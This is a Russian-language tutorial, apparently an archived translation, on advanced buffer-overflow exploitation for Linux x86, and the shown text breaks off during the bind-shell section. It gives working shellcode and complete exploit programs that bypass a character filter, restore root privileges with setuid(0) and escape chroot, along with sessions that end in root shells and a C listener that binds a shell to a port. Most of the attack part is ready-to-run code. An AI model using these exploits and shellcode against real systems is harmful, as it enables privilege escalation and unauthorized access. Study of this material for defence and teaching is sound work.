Продвинутые техники написания эксплойтов переполнения буфера — Архив WASM.RU
1. Введение
В наши дни существует довольно много кодов эксплойтов переполнения буферов. Раньше же такие эксплойты только запускали шелл (т.е. /bin/sh). Однако, теперь некоторые эксплойты содержат очень интересные фичи. К примеру, они могут проламываться через фильтр, открывать сокет, врываться в 'chroot' и т д. В этой статье мы попытаемся разобраться в таких продвинутых фичах эксплойтов переполнения буфера на примере платформы intel x86 Linux.
2. Что нам необходимо знать?
Мы должны знать языки Асм, Си и операционку Линукс ('вау, экая неожиданность' прим. пер.). Конечно, мы должны иметь представление о том, что же представляет собой переполнение буфера. На этот счет можно глянуть в phrack 49-14 (статья Smashing The Stack For Fun And Profit by Aleph1). Это классная статья и я крайне рекомендую обратить на нее внимание перед тем, как приступить к изучению этой статьи.
3. Проход через фильтры
Существует множество программ с проблемами переполнения буфера. Почему же не все ошибки переполнения буферов подвергаются эксплойтингу? Потому что даже если программа и находится в состоянии возможного переполнения буфера, то это не так то и легко можно будет использовать. В большинстве случаев причина в том, что программы обрабатывают (фильтруют) некоторые символы или же конвертируют их в другие. Если программа фильтрует все непечатные символы, то ее будет сложно проэксплойтить. Если программа фильтрует только определенные символы, то мы сможем проломиться сквозь фильтры, написав умный код эксплойта переполнения буфера.
3.1 пример уязвимой программы
Код (Text):
vulnerable1.c ---------------------------------------------------------------------------- #include<string.h> #include<ctype.h> int main(int argc,int **argv) { char buffer[1024]; int i; if(argc>1) { for(i=0;i<strlen(argv[1]);i++) argv[1][i]=toupper(argv[1][i]); strcpy(buffer,argv[1]); } } ---------------------------------------------------------------------------Эта уязвимая программа конвертирует все прописные буквы, полученные при вводе, в заглавные. Таким образом, мы должны написать шеллкод, которые бы не содержал прописные буквы. Каким образом мы можем этого добиться? Мы должны сослаться на строчку символов "/bin/sh", которая должна содержать прописные буквы. Однако, мы можем подвергнуть это эксплойтингу.
3.2 Модифицирование нормального шеллкода
Почти все эксплойты переполнения буфера содержат этот шеллкод. Сейчас мы должны удалить в нем все маленькие буквы. Конечно же, наш новый шеллкод должен запускать шелл.
нормальный шеллкод:
Код (Text):
--------------------------------------------------------------------------- char shellcode[]= "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------Этот шеллкод имеет 6 прописных букв. (5 букв в "/bin/sh" и 1 буква в "movl %esi,0x8(%esi)") ). Мы не можем использовать строку "/bin/sh" напрямую для обхода фильтра. Но мы можем вставлять любые символы, кроме прописных букв. Таким образом, мы можем вставить "\x2f\x12\x19\x1e\x2f\x23\x18" вместо "\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" ). После того, как мы переполним буфер, мы должны будем заменить "\x2f\x12\x19\x1e\x2f\x23\x18" на "\x2f\x62\x69\x6e\x2f\x73\x68", чтобы вызвать "/bin/sh". Этого легко достичь, добавив \x50 to \x62, \x69, \x6e, \x73, и \x68 после того, как наш шеллкод выполнен. Но...как мы можем спрятать \x76 в "movl %esi,0x8(%esi)" ? Мы можем заменить "movl %esi,0x8(%esi)" на другие инструкции, которые выполняют те же действия, но не содержат прописные буквы. К примеру, "movl %esi,0x8(%esi)" можно заменить на "movl %esi,%eax", "addl $0x8,%eax", "movl %eax,0x8(%esi)". Измененные инструкции имеют любые прописные буквы. (Конечно же, можно подобрать и другие подходящие инструкции, но это всего лишь пример). Новый шеллкод создан.
новый шеллкод:
Код (Text):
--------------------------------------------------------------------------- char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */ ---------------------------------------------------------------------------3.3 Эксплойтинг уязвимой программы
С этим шеллкодом мы можем легко проэксплойтить код.
Код (Text):
--------------------------------------------------------------------------- #include<stdio.h> #include<stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x38" /* jmp 0x38 */ "\x5e" /* popl %esi */ "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */ "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */ "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */ "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */ "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */ "\x89\xf0" /* movl %esi,%eax */ "\x83\xc0\x08" /* addl $0x8,%eax */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xc3\xff\xff\xff" /* call -0x3d */ "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) { buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); execl("./vulnerable1","vulnerable1",buff,0); } ---------------------------------------------------------------------------эксплойт в действии:
Код (Text):
--------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable1 -rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1* [ ohhara@ohhara ~ ] {2} $ ls -l exploit1 -rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1* [ ohhara@ohhara ~ ] {3} $ ./exploit1 Jump to 0xbfffec64 Segmentation fault [ ohhara@ohhara ~ ] {4} $ ./exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# ---------------------------------------------------------------------------3.4 Что мы можем сделать при помощи этой техники?
Мы можем пройти через различные фильтры у форм. Когда уязвимая программа фильтрует !@#$%^&*(), мы можем написать новый шеллкод, который не будет содержать !@#$%^&*(). Но у нас появятся сложности в создании такого шеллкода, если программа фильтрует очень много символов.
4. Смена uid на 0.
Рутовская программа setuid, которая 'знает', что работать под привилегиями рута очень опасно, обращается к seteuid(getuid()) при старте и вызывает seteuid(0), когда нуждается в этом. Многие программеры полагают, что она безопасна после обращения к seteuid(getuid()). Однако, это не так: можно выставить uid снова в 0.
4.1 Пример уязвимой программы
Код (Text):
vulnerable2.c ---------------------------------------------------------------------------- #include<string.h> #include<unistd.h> int main(int argc,char **argv) { char buffer[1024]; seteuid(getuid()); if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------Эта уязвимая программа сначала вызывает seteuid(getuid()). Поэтому мы можем решить, что с "strcpy(buffer,argv[1]);" все в порядке. Т.к. мы можем получить только свой шелл, то мы можем не переживать по поводу атак переполнения буфера. Но не смотря на это если мы вставим код с вызовом setuid(0) в шеллкод, мы сможем получить шелл рута.
4.2 Пишем setuid(0) код
Код (Text):
setuidasm.c ---------------------------------------------------------------------------- main() { setuid(0); } ---------------------------------------------------------------------------компилируем и дизассемблируем:
Код (Text):
---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c [ ohhara@ohhara ~ ] {2} $ gdb setuidasm GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble setuid Dump of assembler code for function __setuid: 0x804ca00 <__setuid>: movl %ebx,%edx 0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx 0x804ca06 <__setuid+6>: movl $0x17,%eax 0x804ca0b <__setuid+11>: int $0x80 0x804ca0d <__setuid+13>: movl %edx,%ebx 0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax 0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error> 0x804ca1a <__setuid+26>: ret 0x804ca1b <__setuid+27>: nop 0x804ca1c <__setuid+28>: nop 0x804ca1d <__setuid+29>: nop 0x804ca1e <__setuid+30>: nop 0x804ca1f <__setuid+31>: nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- setuid(0); code ---------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------4.3 Изменяем нормальный шеллкод:
Написание нового шеллкода теперь будет легким, потому что у нас уже есть setuid(0) код. Просто вставим код в начало нормального шеллкода.
новый шеллкод:
Код (Text):
--------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------4.4 Эксплойтинг следующей программы
С этим шеллкодом мы можем очень легко написать код эксплойта:
Код (Text):
exploit2.c --------------------------------------------------------------------------- #include<stdio.h> #include<stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x1f" /* jmp 0x1f */ "\x5e" /* popl %esi */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %eax,0x7(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xd8" /* movl %ebx,%eax */ "\x40" /* inc %eax */ "\xcd\x80" /* int $0x80 */ "\xe8\xdc\xff\xff\xff" /* call -0x24 */ "/bin/sh"; /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) { buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); execl("./vulnerable2","vulnerable2",buff,0); } --------------------------------------------------------------------------- <p> эксплойт в действии: <p> ---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable2 -rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2* [ ohhara@ohhara ~ ] {2} $ ls -l exploit2 -rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2* [ ohhara@ohhara ~ ] {3} $ ./exploit2 Jump to 0xbfffec64 Illegal instruction [ ohhara@ohhara ~ ] {4} $ ./exploit2 500 Jump to 0xbfffea70 bash# whoami root bash# ---------------------------------------------------------------------------4.5 Что мы сможем достичь с помощью этой техники?
Мы атакуем рутовую программу setuid с переполнением буфера, но получаем только свой собственный шелл. В этой ситуации можно поюзать эту технику.
5. Обходим chroot.
Если setuid заchroot-ена, то мы можем получить доступ только к заchroot-енной директории. Мы не можем получить рутовскую директорию. Однако, мы можем пробраться во все директории, если наш шеллкод опять изменит рутовскую директорию на '/'.
5.1 Пример уязвимой программы:
Код (Text):
vulnerable3.c ---------------------------------------------------------------------------- #include<string.h> #include<unistd.h> int main(int argc,char **argv) { char buffer[1024]; chroot("/home/ftp"); chdir("/"); if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------Если попытаться запустить "/bin/sh" с переполнением буфера, он может запустить "/home/ftp/bin/sh" (если последний существует) и мы не сможем получить доступ к другим директориям кроме "/home/ftp".
5.2 Пишем код обхода chroot-а
Если мы можем запустить ниженаписанный код, то мы сможем обойти chroot.
Код (Text):
breakchrootasm.c --------------------------------------------------------------------------- main() { mkdir("sh",0755); chroot("sh"); /* many "../" */ chroot("../../../../../../../../../../../../../../../../"); } ---------------------------------------------------------------------------Этот код создает директорию 'sh', т.к. к ней легко обратиться. Также он пытается запустить "/bin/sh".
откомпилируем и продизассемблируем:
Код (Text):
---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c [ ohhara@ohhara ~ ] {2} $ gdb breakchrootasm GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble mkdir Dump of assembler code for function __mkdir: 0x804cac0 <__mkdir>: movl %ebx,%edx 0x804cac2 <__mkdir+2>: movl 0x8(%esp,1),%ecx 0x804cac6 <__mkdir+6>: movl 0x4(%esp,1),%ebx 0x804caca <__mkdir+10>: movl $0x27,%eax 0x804cacf <__mkdir+15>: int $0x80 0x804cad1 <__mkdir+17>: movl %edx,%ebx 0x804cad3 <__mkdir+19>: cmpl $0xfffff001,%eax 0x804cad8 <__mkdir+24>: jae 0x804cc40 <__syscall_error> 0x804cade <__mkdir+30>: ret 0x804cadf <__mkdir+31>: nop End of assembler dump. (gdb) disassemble chroot Dump of assembler code for function chroot: 0x804cb60 <chroot>: movl %ebx,%edx 0x804cb62 <chroot+2>: movl 0x4(%esp,1),%ebx 0x804cb66 <chroot+6>: movl $0x3d,%eax 0x804cb6b <chroot+11>: int $0x80 0x804cb6d <chroot+13>: movl %edx,%ebx 0x804cb6f <chroot+15>: cmpl $0xfffff001,%eax 0x804cb74 <chroot+20>: jae 0x804cc40 <__syscall_error> 0x804cb7a <chroot+26>: ret 0x804cb7b <chroot+27>: nop 0x804cb7c <chroot+28>: nop 0x804cb7d <chroot+29>: nop 0x804cb7e <chroot+30>: nop 0x804cb7f <chroot+31>: nop End of assembler dump. (gdb) ---------------------------------------------------------------------------- mkdir("sh",0755); code ---------------------------------------------------------------------------- /* mkdir first argument is %ebx and second argument is */ /* %ecx. */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb0\x17" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ /* %esi has to reference "/bin/sh" before using this */ /* instruction. This instruction load address of "sh" */ /* and store at %ebx */ "\xfe\xc5" /* incb %ch */ /* %cx = 0000 0001 0000 0000 */ "\xb0\x3d" /* movb $0xed,%cl */ /* %cx = 0000 0001 1110 1101 */ /* %cx = 000 111 101 101 */ /* %cx = 0 7 5 5 */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- chroot("sh"); code ---------------------------------------------------------------------------- /* chroot first argument is ebx */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------- chroot("../../../../../../../../../../../../../../../../"); code ---------------------------------------------------------------------------- char code[]= "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ /* disguised "../" character string */ "\xf7\xdb" /* negl %ebx */ /* %ebx = $0x002f2e2e */ /* intel x86 is little endian. */ /* %ebx = "../" */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ /* prepare for looping 16 times. */ "\x56" /* pushl %esi */ /* backup current %esi. %esi has the pointer of */ /* "/bin/sh". */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl $0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ /* make "../../../../ . . . " character string at */ /* 0x10(%esi) by looping. */ "\x5e" /* popl %esi */ /* restore %esi. */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ /* %ebx has the address of "../../../../ . . . ". */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------5.3 Изменяем нормальный шеллкод:
Вставим код в начало нормального шеллкода и изменим jmp и call.
новый шеллкод:
5.4 Эксплойт программы vulnerable3 за работой:Код (Text):
--------------------------------------------------------------------------- char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ ---------------------------------------------------------------------------
Код (Text):
exploit3.c ---------------------------------------------------------------------------- #include<stdio.h> #include<stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\xeb\x4f" /* jmp 0x4f */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x5e" /* popl %esi */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\xb0\x27" /* movb $0x27,%al */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xfe\xc5" /* incb %ch */ "\xb1\xed" /* movb $0xed,%cl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x8d\x5e\x05" /* leal 0x5(%esi),%ebx */ "\xb0\x3d" /* movb $0x3d,%al */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xbb\xd2\xd1\xd0\xff" /* movl $0xffd0d1d2,%ebx */ "\xf7\xdb" /* negl %ebx */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xb1\x10" /* movb $0x10,%cl */ "\x56" /* pushl %esi */ "\x01\xce" /* addl %ecx,%esi */ "\x89\x1e" /* movl %ebx,(%esi) */ "\x83\xc6\x03" /* addl %0x3,%esi */ "\xe0\xf9" /* loopne -0x7 */ "\x5e" /* popl %esi */ "\xb0\x3d" /* movb $0x3d,%al */ "\x8d\x5e\x10" /* leal 0x10(%esi),%ebx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\xe8\xac\xff\xff\xff" /* call -0x54 */ "/bin/sh"; /* .string \"/bin/sh\" */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) { buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); execl("./vulnerable3","vulnerable3",buff,0); } ----------------------------------------------------------------------------поехали!
Код (Text):
---------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable3 -rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3* [ ohhara@ohhara ~ ] {2} $ ls -l exploit3 -rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3* [ ohhara@ohhara ~ ] {3} $ ./exploit3 Jump to 0xbfffec68 Segmentation fault [ ohhara@ohhara ~ ] {4} $ ./exploit3 500 Jump to 0xbfffea74 Segmentation fault [ ohhara@ohhara ~ ] {5} $ ./exploit3 -500 Jump to 0xbfffee5c bash# whoami root bash# pwd /home/ftp bash# cd / bash# pwd / bash# ls afs boot etc home lost+found mnt root tmp var bin dev export lib misc proc sbin usr bash# ---------------------------------------------------------------------------5.5. Зачем нам эта техника?
Мы не можем получить директорию рута при помощи атаки заchroot-енной программы setuid с переполнением буфера. Однако, мы можем добраться до всех директорий, применив эту технику.
6. Открытие сокета
Мы можем 'поломать' даемон, если попытаемся переполнить буфер в этом даемоне. В большинстве случаев, мы должны запустить шелл, открыть сокет, и законнектиться на наш стандартный I/O. Иначе мы не получим шелл. Даже если мы раздобудем шелл, сервер сразу же засбОит, и мы не сможем далее работать. В таком случае мы должны создать сложный шеллкод, чтобы законнектиться на стандартный I/O.
6.1 Пример уязвимой программы:
Код (Text):
--------------------------------------------------------------------------- #include<string.h> int main(int argc,char **argv) { char buffer[1024]; if(argc>1) strcpy(buffer,argv[1]); } ---------------------------------------------------------------------------Это обычная уязвимая программа. Я использую ее для показа переполнения буфера с открытием сокета, т.к. я очень ленивый чтобы писать всякие примеры даемон программ. Однако, после того как вы взгляните на этот код, вы все поймете.
6.2 Пишем код открытия сокета
Если мы сможем выполнить этот код, то мы откроем сокет.
Код (Text):
opensocketasm1.c --------------------------------------------------------------------------- #include<unistd.h> #include<sys/socket.h> #include<netinet/in.h> int soc,cli,soc_len; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; int main() { if(fork()==0) { serv_addr.sin_family=AF_INET; serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); serv_addr.sin_port=htons(30464); soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); listen(soc,1); soc_len=sizeof(cli_addr); cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ---------------------------------------------------------------------------Сложно написать то же самое на ассемблере. Вы можете сделать эту программу проще.
Код (Text):
opensocketasm2.c --------------------------------------------------------------------------- #include<unistd.h> #include<sys/socket.h> #include<netinet/in.h> int soc,cli; struct sockaddr_in serv_addr; int main() { if(fork()==0) { serv_addr.sin_family=2; serv_addr.sin_addr.s_addr=0; serv_addr.sin_port=0x77; soc=socket(2,1,6); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli=accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl("/bin/sh","sh",0); } } ---------------------------------------------------------------------------компилируем и дизассемблируем:
Код (Text):
--------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c [ ohhara@ohhara ~ ] {2} $ gdb opensocketasm2 GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 <fork>: movl $0x2,%eax 0x804ca95 <fork+5>: int $0x80 0x804ca97 <fork+7>: cmpl $0xfffff001,%eax 0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error> 0x804caa2 <fork+18>: ret 0x804caa3 <fork+19>: nop 0x804caa4 <fork+20>: nop 0x804caa5 <fork+21>: nop 0x804caa6 <fork+22>: nop 0x804caa7 <fork+23>: nop 0x804caa8 <fork+24>: nop 0x804caa9 <fork+25>: nop 0x804caaa <fork+26>: nop 0x804caab <fork+27>: nop 0x804caac <fork+28>: nop 0x804caad <fork+29>: nop 